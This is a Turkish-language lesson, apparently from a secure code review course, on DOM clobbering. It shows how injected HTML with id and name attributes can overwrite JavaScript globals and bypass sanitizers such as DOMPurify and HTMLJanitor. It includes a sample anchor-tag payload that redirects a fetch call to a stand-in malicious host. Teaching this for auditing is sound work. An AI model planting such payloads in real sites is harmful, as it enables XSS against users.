Bir önceki dersimizde eval gibi fonksiyonlar aracılığıyla JavaScript ortamında doğrudan kod çalıştırmanın risklerini ele almıştık. Bu, saldırganın uygulama mantığını en bariz ve güçlü şekilde ele geçirme yöntemlerinden biriydi. Bugünkü konumuz ise çok daha zarif, dolaylı ve çoğu zaman otomatik tarayıcıların gözünden kaçan bir manipülasyon tekniği: DOM Clobbering.
Bu dersin amacı, frontend JavaScript kodunda global scope'u ve DOM nesnelerini manipüle eden DOM clobbering zafiyetlerini belirlemektir. DOM Clobbering, doğrudan kod enjekte etmek yerine, saldırganın enjekte ettiği HTML elemanları aracılığıyla mevcut JavaScript değişkenlerinin veya özelliklerinin üzerine yazarak uygulama mantığını bozmasını veya istismar etmesini sağlar. Bu, özellikle katı içerik güvenlik politikaları (CSP) veya HTML temizleme (sanitization) kütüphanelerinin varlığında etkili olabilen bir tekniktir.
DOM Clobbering: İsim Çakışmasının Gücü
Temelde DOM Clobbering, bir zafiyetten ziyade tarayıcıların eski ve standartlaştırılmamış bir davranışından kaynaklanır. Tarayıcılar, bir HTML belgesindeki belirli elemanların id veya name niteliklerini kullanarak, bu elemanlara global window nesnesi veya document nesnesi üzerinden erişilebilen özellikler (property) oluştururlar. Eğer bu özellik adı, uygulamadaki bir JavaScript değişkeni veya fonksiyonu ile çakışırsa, DOM elemanı bu değişkenin üzerine "yazılır" (clobber) ve beklenmedik davranışlara yol açar.
Konunun temellerini anlamak için Netsparker tarafından hazırlanan bu makalenin giriş bölümünü inceleyerek başlayalım.
DOM Clobbering | Netsparker Web Uygulaması Güvenlik Tarayıcısı
Bu makale, DOM Clobbering'in ne olduğunu ve tarayıcıların bu davranışı nasıl sergilediğini net bir şekilde açıklıyor.
Lütfen makalenin başından "Örnek 1" başlığına kadar olan kısmı okuyun. Özellikle, tanımlara ve tarayıcıların id ve name değerlerini document nesnesine veya global scope'a nasıl eklediğini anlatan paragraflara odaklanın. Bu, zafiyetin kök nedenini anlamanız için temel bir adımdır.
Bu mekanizmanın nasıl çalıştığını anlamak, bir kod denetçisi olarak zafiyetli desenleri tanımanızı sağlayacaktır:
idniteliği: Bir elemana verilenid(örneğin,<div id="config">), genellikle doğrudanwindow.configşeklinde global bir değişken oluşturur. Eğer koddawindow.configadında bir nesne kullanılıyorsa, artık bu değişken birHTMLDivElementnesnesine işaret edecektir.nameniteliği: Bu nitelik daha da ilginç davranışlara yol açabilir. Aynınamedeğerine sahip birden fazla eleman (örneğin,<a name="user">,<input name="user">),window.useradında birHTMLCollection(DOM elemanları koleksiyonu) oluşturur. Bu, sadece bir değişkeni değil, aynı zamanda o değişkenin alt özelliklerini de manipüle etme imkanı tanır.
Aşağıdaki görsel, tarayıcının semantik olarak hatalı görünen HTML'i nasıl geçerli bir DOM'a dönüştürdüğünü ve bu süreçte id ve name niteliklerine sahip elemanların window üzerinde HTMLCollection olarak nasıl erişilebilir hale geldiğini mükemmel bir şekilde göstermektedir.

Temel Clobbering Desenleri: Fonksiyonların ve Özelliklerin Ezilmesi
Teoriyi pratiğe dökelim. Bir kod denetimi sırasında karşılaşabileceğiniz en yaygın clobbering senaryolarından biri, yerleşik fonksiyonların veya nesne metotlarının üzerine yazılmasıdır.
Netsparker makalesindeki basit ama etkili örnekler, bu durumu çok iyi açıklamaktadır.
DOM Clobbering | Netsparker Web Uygulaması Güvenlik Tarayıcısı
Bu bölümler, DOM Clobbering'in en temel ve öğretici örneklerini sunar.
Lütfen makaledeki şu iki örneği inceleyin: Örnek 1: <input type="submit" name="submit"> elemanının, document.forms[0].submit() fonksiyonunu nasıl ezdiğini gösteren bölüm. Bu, bir DOM elemanının, aynı isme sahip bir JavaScript fonksiyonunu nasıl işlevsiz hale getirdiğini gösterir. Hemen ardından gelen örnek: <form action="test2.html" name="getElementById"> elemanının, document.getElementById() metodunun üzerine yazdığı durum. Bu daha tehlikelidir, çünkü temel bir DOM API'sini hedef alarak sayfa genelinde beklenmedik hatalara yol açabilir.
Bu örnekler, bir denetçi olarak zihniyetinizi şekillendirmelidir. Kodda form.submit() veya document.getElementById() gibi bir çağrı gördüğünüzde, aklınıza şu soru gelmelidir: "Bu sayfada, saldırganın name veya id niteliğini kontrol edebildiği bir HTML enjeksiyon noktası var mı?"
İleri Seviye Clobbering: Değişkenlerin Üzerine Yazma ve Mantık Atlama
DOM Clobbering'in gerçek gücü, sadece fonksiyonları bozmaktan öte, uygulama mantığını doğrudan etkileyen değişkenlerin ve konfigürasyon nesnelerinin üzerine yazabilmesinde yatar. Güvenlik denetiminde en çok odaklanmanız gereken desen budur.
Genellikle geliştiriciler, bir global değişkenin veya konfigürasyon nesnesinin zaten var olup olmadığını kontrol etmek için şöyle bir kod yazar:
var someObject = window.someObject || {};
// ...
if (someObject.url) {
// Güvenli sanılan bir URL'ye istek yap
fetch(someObject.url);
}
Bu kod, window.someObject mevcut değilse boş bir nesne oluşturarak TypeError hatalarını önlemeyi amaçlar. Ancak tam da bu "savunmacı" kodlama, DOM Clobbering'e kapı aralar. Saldırganın sayfaya aşağıdaki gibi bir HTML enjekte ettiğini düşünün:
<a id="someObject"></a>
<a id="someObject" name="url" href="https://malicious-website.com/malicious.js"></a>
Bu durumda ne olur?
var someObject = window.someObject || {};satırı çalıştığında,window.someObjectartıkundefineddeğildir.<a id="someObject">sayesinde birHTMLCollectionnesnesidir. Bu yüzden|| {}kısmı çalışmaz vesomeObjectdeğişkeni buHTMLCollection'a eşitlenir.- Bu
HTMLCollectionaynı zamandaurladında bir özelliğe sahiptir (ikinci<a>etiketininnameniteliği sayesinde). Bu özelliğin değeri ise ikinci<a>elemanının kendisidir. someObject.urlifadesi bu ikinci<a>elemanını döndürür. Bir<a>elemanı string olarak kullanıldığında,hrefniteliğinin değerini verir.- Sonuç olarak
fetchfonksiyonu, geliştiricinin beklediği güvenli URL yerinehttps://malicious-website.com/malicious.jsadresine istek yapar ve bu da XSS veya diğer zafiyetlere yol açabilir.
Aşağıdaki görsel, bu sürecin tarayıcı konsolunda adım adım nasıl gerçekleştiğini göstermektedir.

Gerçek Dünya Örnekleri ve HTML Filtrelerini Atlama
Bu teknik sadece teorik bir egzersiz değildir; GitHub ve CKEditor gibi büyük platformlarda gerçek zafiyetlere yol açmıştır.
DOM Clobbering | Netsparker Web Uygulaması Güvenlik Tarayıcısı
Netsparker makalesindeki gerçek dünya örnekleri, bu zafiyetin etkisini somutlaştırmaktadır.
Lütfen "Gerçek Dünyadan Örnekler" başlığı altındaki iki vakayı inceleyin: Gist: Mathias Karlsson'un name='querySelector' ile document.querySelector'ü nasıl ezdiğini anlatan bölüm. CKEditor: id="_cke_htmlToLoad" kullanılarak bir değişkenin üzerine yazılıp nasıl XSS tetiklendiğini gösteren örnek.
DOM Clobbering, DOMPurify gibi gelişmiş HTML temizleme kütüphanelerini atlatmak için de kullanılabilir. Bu kütüphaneler genellikle tehlikeli etiketleri (<script>) veya olay yöneticilerini (onerror) temizler, ancak id ve name gibi "zararsız" görünen niteliklere izin verirler. İşte bu noktada DOM Clobbering, filtrelenmiş bir ortamda XSS'i mümkün kılabilir.
Görkem Özkanat'ın PortSwigger laboratuvar çözümlerini içeren yazısı, bu ileri seviye tekniği çok güzel açıklamaktadır.
PortSwigger DOM-based Vulnerabilities Labs - Görkem Özkanat
Bu kaynak, DOM Clobbering'in HTML filtrelerini atlatmak için nasıl bir "gadget" olarak kullanılabileceğini gösteren pratik laboratuvar çözümleri sunar.
Lütfen şu iki laboratuvarın açıklamalarını dikkatle okuyun: Lab-6 Exploiting DOM clobbering to enable XSS: Bu bölümde, DOM Clobbering'in temel tanımı yapıldıktan sonra, DOMPurify filtresini atlatmak için cid: protokolünün nasıl kullanıldığı ve defaultAvatar adlı bir global değişkenin üzerine yazılarak XSS'in nasıl tetiklendiği anlatılmaktadır. Bu, bir filtre atlatma tekniği olarak DOM Clobbering'in harika bir örneğidir. Lab-7 Clobbering DOM attributes to bypass HTML filters: Bu daha da ileri bir tekniktir. HTMLJanitor kütüphanesinin, kendi konfigürasyon nesnesinin attributes özelliğinin DOM Clobbering ile ezilerek filtrenin nasıl devre dışı bırakıldığını ve onfocus olayı ile print() fonksiyonunun nasıl çağrıldığını gösterir.
Kod Denetimi Stratejisi
Bir güvenlik denetçisi olarak DOM Clobbering zafiyetlerini bulmak için sistematik bir yaklaşım izlemelisiniz:
-
Hedefleri Belirleyin (Potansiyel Sink'ler): Kod tabanında, global nesneler (
window) üzerinden özelliklere erişen ve varsayılan bir değer atayan kod desenlerini arayın. En klasik hedef:var config = window.config || {};if (window.options) { ... }- Ayrıca,
document.getElementById,document.querySelectorgibi DOM API'lerini çağıran kodlar da, bu fonksiyonların kendisi clobber'lanabileceğinden dolaylı hedeflerdir.
-
Kaynakları Belirleyin (Enjeksiyon Noktaları): Kullanıcının HTML enjekte edebileceği yerleri tespit edin. Bunlar genellikle şunlardır:
- Yorum alanları
- Kullanıcı profillerindeki "Hakkımda" bölümleri
- Zengin metin editörleri (WYSIWYG)
postMessageile alınan veinnerHTML'e yazdırılan veriler
-
Veri Akışını İzleyin: Enjeksiyon noktasından hedefe giden yolu takip edin. Arada bir HTML temizleme kütüphanesi var mı? Varsa, bu kütüphane
idvenameniteliklerine izin veriyor mu? Kütüphanenin kendisi, Lab-7'deki HTMLJanitor örneğinde olduğu gibi, DOM Clobbering'e karşı savunmasız olabilir mi? -
Etkiyi Değerlendirin: Clobber'lanan değişken nerede kullanılıyor?
- Bir
scriptetiketininsrc'sini oluşturmak için mi? (Potansiyel XSS) - Bir
<a>etiketininhref'ini belirlemek için mi? (Potansiyel Open Redirect veya XSS) - Bir yetkilendirme kontrolünde mi? (
if (user.isAdmin)) (Potansiyel Yetki Yükseltme) - Sadece sayfanın işlevselliğini mi bozuyor? (Denial of Service)
- Bir
Özet ve Sonraki Adımlar
Bu dersimizde, frontend JavaScript kodunda uygulama mantığını manipüle etmenin güçlü ve gizli bir yolu olan DOM Clobbering'i ele aldık.
Anahtar Çıkarımlar:
- DOM Clobbering, tarayıcıların
idvenameniteliklerinden global değişkenler oluşturma davranışını istismar eder. - En yaygın ve tehlikeli hedef,
var x = window.x || {};gibi "savunmacı" kodlama desenleridir. - Bu teknik, sadece değişkenlerin üzerine yazmakla kalmaz, aynı zamanda
HTMLCollectionkullanarak nesne hiyerarşileri oluşturabilir. - DOM Clobbering, DOMPurify gibi HTML temizleme kütüphanelerini atlatarak XSS gibi zafiyetleri tetiklemek için bir "gadget" olarak kullanılabilir.
- Etkili bir kod denetimi, global değişkenlere erişen kodları bulmayı ve bu kodlara ulaşabilecek HTML enjeksiyon noktalarını tespit etmeyi gerektirir.
İstemci tarafında DOM'u manipüle etmenin bu incelikli yolunu öğrendikten sonra, bir sonraki dersimizde odağımızı tekrar sunucu tarafına çevireceğiz, ancak yine istemciye yansıyan sonuçları olan bir zafiyetle. Bir sonraki konumuz, Python, JavaScript ve diğer dillerdeki şablon motorlarında Sunucu Taraflı Şablon Enjeksiyonu (SSTI) desenlerini tespit etmek olacak.